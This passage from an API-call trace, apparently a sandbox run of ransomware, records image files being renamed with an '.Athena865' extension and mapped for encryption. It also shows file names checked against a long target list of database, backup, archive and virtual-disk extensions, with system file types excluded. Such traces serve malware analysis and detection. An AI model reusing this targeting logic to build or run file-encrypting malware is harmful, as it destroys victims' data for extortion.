pbBuffer=0x241d188) returned 1 [0051.861] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.863] lstrcpyW (in: lpString1=0x241e8b8, lpString2="VKBs.jpg" | out: lpString1="VKBs.jpg") returned="VKBs.jpg" [0051.863] lstrlenW (lpString="VKBs.jpg") returned 8 [0051.863] lstrlenW (lpString="Athena865") returned 9 [0051.863] lstrlenW (lpString=".dll") returned 4 [0051.863] lstrcmpiW (lpString1="VKBs.jpg", lpString2=".dll") returned 1 [0051.863] lstrlenW (lpString=".lnk") returned 4 [0051.864] lstrcmpiW (lpString1="VKBs.jpg", lpString2=".lnk") returned 1 [0051.864] lstrlenW (lpString=".ini") returned 4 [0051.864] lstrcmpiW (lpString1="VKBs.jpg", lpString2=".ini") returned 1 [0051.864] lstrlenW (lpString=".sys") returned 4 [0051.864] lstrcmpiW (lpString1="VKBs.jpg", lpString2=".sys") returned 1 [0051.864] lstrlenW (lpString="VKBs.jpg") returned 8 [0051.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\VKBs.jpg.Athena865") returned 74 [0051.864] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\VKBs.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\vkbs.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\VKBs.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\vkbs.jpg.athena865"), dwFlags=0x1) returned 1 [0051.864] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\VKBs.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\vkbs.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.864] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17408) returned 1 [0051.865] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.865] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.865] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.866] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4700, lpName=0x0) returned 0x154 [0051.866] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4700) returned 0x100000 [0051.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.867] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.867] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.869] lstrcpyW (in: lpString1=0x241e8b8, lpString2="W0wpgP-oU.gif" | out: lpString1="W0wpgP-oU.gif") returned="W0wpgP-oU.gif" [0051.869] lstrlenW (lpString="W0wpgP-oU.gif") returned 13 [0051.869] lstrlenW (lpString="Athena865") returned 9 [0051.869] lstrcmpiW (lpString1="gP-oU.gif", lpString2="Athena865") returned 1 [0051.869] lstrlenW (lpString=".dll") returned 4 [0051.869] lstrcmpiW (lpString1="W0wpgP-oU.gif", lpString2=".dll") returned 1 [0051.869] lstrlenW (lpString=".lnk") returned 4 [0051.869] lstrcmpiW (lpString1="W0wpgP-oU.gif", lpString2=".lnk") returned 1 [0051.869] lstrlenW (lpString=".ini") returned 4 [0051.869] lstrcmpiW (lpString1="W0wpgP-oU.gif", lpString2=".ini") returned 1 [0051.869] lstrlenW (lpString=".sys") returned 4 [0051.869] lstrcmpiW (lpString1="W0wpgP-oU.gif", lpString2=".sys") returned 1 [0051.869] lstrlenW (lpString="W0wpgP-oU.gif") returned 13 [0051.869] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\W0wpgP-oU.gif.Athena865") returned 79 [0051.869] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\W0wpgP-oU.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\w0wpgp-ou.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\W0wpgP-oU.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\w0wpgp-ou.gif.athena865"), dwFlags=0x1) returned 1 [0051.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\W0wpgP-oU.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\w0wpgp-ou.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.870] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86667) returned 1 [0051.870] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.871] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.871] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.871] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15590, lpName=0x0) returned 0x154 [0051.871] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15590) returned 0x100000 [0051.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.875] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.875] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.877] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Ya3k0m2vT.gif" | out: lpString1="Ya3k0m2vT.gif") returned="Ya3k0m2vT.gif" [0051.877] lstrlenW (lpString="Ya3k0m2vT.gif") returned 13 [0051.877] lstrlenW (lpString="Athena865") returned 9 [0051.877] lstrcmpiW (lpString1="0m2vT.gif", lpString2="Athena865") returned -1 [0051.877] lstrlenW (lpString=".dll") returned 4 [0051.877] lstrcmpiW (lpString1="Ya3k0m2vT.gif", lpString2=".dll") returned 1 [0051.877] lstrlenW (lpString=".lnk") returned 4 [0051.877] lstrcmpiW (lpString1="Ya3k0m2vT.gif", lpString2=".lnk") returned 1 [0051.877] lstrlenW (lpString=".ini") returned 4 [0051.878] lstrcmpiW (lpString1="Ya3k0m2vT.gif", lpString2=".ini") returned 1 [0051.878] lstrlenW (lpString=".sys") returned 4 [0051.878] lstrcmpiW (lpString1="Ya3k0m2vT.gif", lpString2=".sys") returned 1 [0051.878] lstrlenW (lpString="Ya3k0m2vT.gif") returned 13 [0051.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ya3k0m2vT.gif.Athena865") returned 79 [0051.878] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ya3k0m2vT.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ya3k0m2vt.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ya3k0m2vT.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ya3k0m2vt.gif.athena865"), dwFlags=0x1) returned 1 [0051.878] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ya3k0m2vT.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ya3k0m2vt.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.879] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=89900) returned 1 [0051.879] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.879] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.879] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.880] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16230, lpName=0x0) returned 0x154 [0051.880] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16230) returned 0x100000 [0051.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.883] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.883] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.885] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Zzgl j.gif" | out: lpString1="Zzgl j.gif") returned="Zzgl j.gif" [0051.885] lstrlenW (lpString="Zzgl j.gif") returned 10 [0051.885] lstrlenW (lpString="Athena865") returned 9 [0051.886] lstrcmpiW (lpString1="zgl j.gif", lpString2="Athena865") returned 1 [0051.886] lstrlenW (lpString=".dll") returned 4 [0051.886] lstrcmpiW (lpString1="Zzgl j.gif", lpString2=".dll") returned 1 [0051.886] lstrlenW (lpString=".lnk") returned 4 [0051.886] lstrcmpiW (lpString1="Zzgl j.gif", lpString2=".lnk") returned 1 [0051.886] lstrlenW (lpString=".ini") returned 4 [0051.886] lstrcmpiW (lpString1="Zzgl j.gif", lpString2=".ini") returned 1 [0051.886] lstrlenW (lpString=".sys") returned 4 [0051.886] lstrcmpiW (lpString1="Zzgl j.gif", lpString2=".sys") returned 1 [0051.886] lstrlenW (lpString="Zzgl j.gif") returned 10 [0051.886] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Zzgl j.gif.Athena865") returned 76 [0051.886] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Zzgl j.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzgl j.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Zzgl j.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzgl j.gif.athena865"), dwFlags=0x1) returned 1 [0051.887] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Zzgl j.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzgl j.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.887] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35325) returned 1 [0051.887] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.888] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.889] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.889] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d00, lpName=0x0) returned 0x154 [0051.889] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d00) returned 0x100000 [0051.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.891] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.891] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.893] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ZzLapX9_v4.bmp" | out: lpString1="ZzLapX9_v4.bmp") returned="ZzLapX9_v4.bmp" [0051.893] lstrlenW (lpString="ZzLapX9_v4.bmp") returned 14 [0051.893] lstrlenW (lpString="Athena865") returned 9 [0051.893] lstrcmpiW (lpString1="X9_v4.bmp", lpString2="Athena865") returned 1 [0051.893] lstrlenW (lpString=".dll") returned 4 [0051.893] lstrcmpiW (lpString1="ZzLapX9_v4.bmp", lpString2=".dll") returned 1 [0051.893] lstrlenW (lpString=".lnk") returned 4 [0051.893] lstrcmpiW (lpString1="ZzLapX9_v4.bmp", lpString2=".lnk") returned 1 [0051.893] lstrlenW (lpString=".ini") returned 4 [0051.893] lstrcmpiW (lpString1="ZzLapX9_v4.bmp", lpString2=".ini") returned 1 [0051.893] lstrlenW (lpString=".sys") returned 4 [0051.893] lstrcmpiW (lpString1="ZzLapX9_v4.bmp", lpString2=".sys") returned 1 [0051.893] lstrlenW (lpString="ZzLapX9_v4.bmp") returned 14 [0051.893] lstrlenW (lpString="bak") returned 3 [0051.893] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0051.893] lstrlenW (lpString="ba_") returned 3 [0051.893] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0051.893] lstrlenW (lpString="dbb") returned 3 [0051.893] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0051.893] lstrlenW (lpString="vmdk") returned 4 [0051.893] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0051.894] lstrlenW (lpString="rar") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0051.894] lstrlenW (lpString="zip") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0051.894] lstrlenW (lpString="tgz") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0051.894] lstrlenW (lpString="vbox") returned 4 [0051.894] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0051.894] lstrlenW (lpString="vdi") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0051.894] lstrlenW (lpString="vhd") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0051.894] lstrlenW (lpString="vhdx") returned 4 [0051.894] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0051.894] lstrlenW (lpString="avhd") returned 4 [0051.894] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0051.894] lstrlenW (lpString="db") returned 2 [0051.894] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0051.894] lstrlenW (lpString="db2") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0051.894] lstrlenW (lpString="db3") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0051.894] lstrlenW (lpString="dbf") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0051.894] lstrlenW (lpString="mdf") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0051.894] lstrlenW (lpString="mdb") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0051.894] lstrlenW (lpString="sql") returned 3 [0051.894] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0051.894] lstrlenW (lpString="sqlite") returned 6 [0051.894] lstrcmpiW (lpString1="v4.bmp", lpString2="sqlite") returned 1 [0051.894] lstrlenW (lpString="sqlite3") returned 7 [0051.895] lstrcmpiW (lpString1="_v4.bmp", lpString2="sqlite3") returned -1 [0051.895] lstrlenW (lpString="sqlitedb") returned 8 [0051.895] lstrcmpiW (lpString1="9_v4.bmp", lpString2="sqlitedb") returned -1 [0051.895] lstrlenW (lpString="xml") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0051.895] lstrlenW (lpString="$er") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0051.895] lstrlenW (lpString="4dd") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0051.895] lstrlenW (lpString="4dl") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0051.895] lstrlenW (lpString="^^^") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0051.895] lstrlenW (lpString="abs") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0051.895] lstrlenW (lpString="abx") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0051.895] lstrlenW (lpString="accdb") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accdb") returned -1 [0051.895] lstrlenW (lpString="accdc") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accdc") returned -1 [0051.895] lstrlenW (lpString="accde") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accde") returned -1 [0051.895] lstrlenW (lpString="accdr") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accdr") returned -1 [0051.895] lstrlenW (lpString="accdt") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accdt") returned -1 [0051.895] lstrlenW (lpString="accdw") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accdw") returned -1 [0051.895] lstrlenW (lpString="accft") returned 5 [0051.895] lstrcmpiW (lpString1="4.bmp", lpString2="accft") returned -1 [0051.895] lstrlenW (lpString="adb") returned 3 [0051.895] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.895] lstrlenW (lpString="adb") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.896] lstrlenW (lpString="ade") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0051.896] lstrlenW (lpString="adf") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0051.896] lstrlenW (lpString="adn") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0051.896] lstrlenW (lpString="adp") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0051.896] lstrlenW (lpString="alf") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0051.896] lstrlenW (lpString="ask") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0051.896] lstrlenW (lpString="btr") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0051.896] lstrlenW (lpString="cat") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0051.896] lstrlenW (lpString="cdb") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0051.896] lstrlenW (lpString="ckp") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0051.896] lstrlenW (lpString="cma") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0051.896] lstrlenW (lpString="cpd") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0051.896] lstrlenW (lpString="dacpac") returned 6 [0051.896] lstrcmpiW (lpString1="v4.bmp", lpString2="dacpac") returned 1 [0051.896] lstrlenW (lpString="dad") returned 3 [0051.896] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0051.896] lstrlenW (lpString="dadiagrams") returned 10 [0051.896] lstrcmpiW (lpString1="pX9_v4.bmp", lpString2="dadiagrams") returned 1 [0051.896] lstrlenW (lpString="daschema") returned 8 [0051.896] lstrcmpiW (lpString1="9_v4.bmp", lpString2="daschema") returned -1 [0051.896] lstrlenW (lpString="db-journal") returned 10 [0051.897] lstrcmpiW (lpString1="pX9_v4.bmp", lpString2="db-journal") returned 1 [0051.897] lstrlenW (lpString="db-shm") returned 6 [0051.897] lstrcmpiW (lpString1="v4.bmp", lpString2="db-shm") returned 1 [0051.897] lstrlenW (lpString="db-wal") returned 6 [0051.897] lstrcmpiW (lpString1="v4.bmp", lpString2="db-wal") returned 1 [0051.897] lstrlenW (lpString="dbc") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0051.897] lstrlenW (lpString="dbs") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0051.897] lstrlenW (lpString="dbt") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0051.897] lstrlenW (lpString="dbv") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0051.897] lstrlenW (lpString="dbx") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0051.897] lstrlenW (lpString="dcb") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0051.897] lstrlenW (lpString="dct") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0051.897] lstrlenW (lpString="dcx") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0051.897] lstrlenW (lpString="ddl") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0051.897] lstrlenW (lpString="dlis") returned 4 [0051.897] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0051.897] lstrlenW (lpString="dp1") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0051.897] lstrlenW (lpString="dqy") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0051.897] lstrlenW (lpString="dsk") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0051.897] lstrlenW (lpString="dsn") returned 3 [0051.897] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0051.897] lstrlenW (lpString="dtsx") returned 4 [0051.898] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0051.898] lstrlenW (lpString="dxl") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0051.898] lstrlenW (lpString="eco") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0051.898] lstrlenW (lpString="ecx") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0051.898] lstrlenW (lpString="edb") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0051.898] lstrlenW (lpString="epim") returned 4 [0051.898] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0051.898] lstrlenW (lpString="fcd") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0051.898] lstrlenW (lpString="fdb") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0051.898] lstrlenW (lpString="fic") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0051.898] lstrlenW (lpString="flexolibrary") returned 12 [0051.898] lstrcmpiW (lpString1="LapX9_v4.bmp", lpString2="flexolibrary") returned 1 [0051.898] lstrlenW (lpString="fm5") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0051.898] lstrlenW (lpString="fmp") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0051.898] lstrlenW (lpString="fmp12") returned 5 [0051.898] lstrcmpiW (lpString1="4.bmp", lpString2="fmp12") returned -1 [0051.898] lstrlenW (lpString="fmpsl") returned 5 [0051.898] lstrcmpiW (lpString1="4.bmp", lpString2="fmpsl") returned -1 [0051.898] lstrlenW (lpString="fol") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0051.898] lstrlenW (lpString="fp3") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0051.898] lstrlenW (lpString="fp4") returned 3 [0051.898] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0051.899] lstrlenW (lpString="fp5") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0051.899] lstrlenW (lpString="fp7") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0051.899] lstrlenW (lpString="fpt") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0051.899] lstrlenW (lpString="frm") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0051.899] lstrlenW (lpString="gdb") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0051.899] lstrlenW (lpString="gdb") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0051.899] lstrlenW (lpString="grdb") returned 4 [0051.899] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0051.899] lstrlenW (lpString="gwi") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0051.899] lstrlenW (lpString="hdb") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0051.899] lstrlenW (lpString="his") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0051.899] lstrlenW (lpString="ib") returned 2 [0051.899] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0051.899] lstrlenW (lpString="idb") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0051.899] lstrlenW (lpString="ihx") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0051.899] lstrlenW (lpString="itdb") returned 4 [0051.899] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0051.899] lstrlenW (lpString="itw") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0051.899] lstrlenW (lpString="jet") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0051.899] lstrlenW (lpString="jtx") returned 3 [0051.899] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0051.900] lstrlenW (lpString="kdb") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0051.900] lstrlenW (lpString="kexi") returned 4 [0051.900] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0051.900] lstrlenW (lpString="kexic") returned 5 [0051.900] lstrcmpiW (lpString1="4.bmp", lpString2="kexic") returned -1 [0051.900] lstrlenW (lpString="kexis") returned 5 [0051.900] lstrcmpiW (lpString1="4.bmp", lpString2="kexis") returned -1 [0051.900] lstrlenW (lpString="lgc") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0051.900] lstrlenW (lpString="lwx") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0051.900] lstrlenW (lpString="maf") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0051.900] lstrlenW (lpString="maq") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0051.900] lstrlenW (lpString="mar") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0051.900] lstrlenW 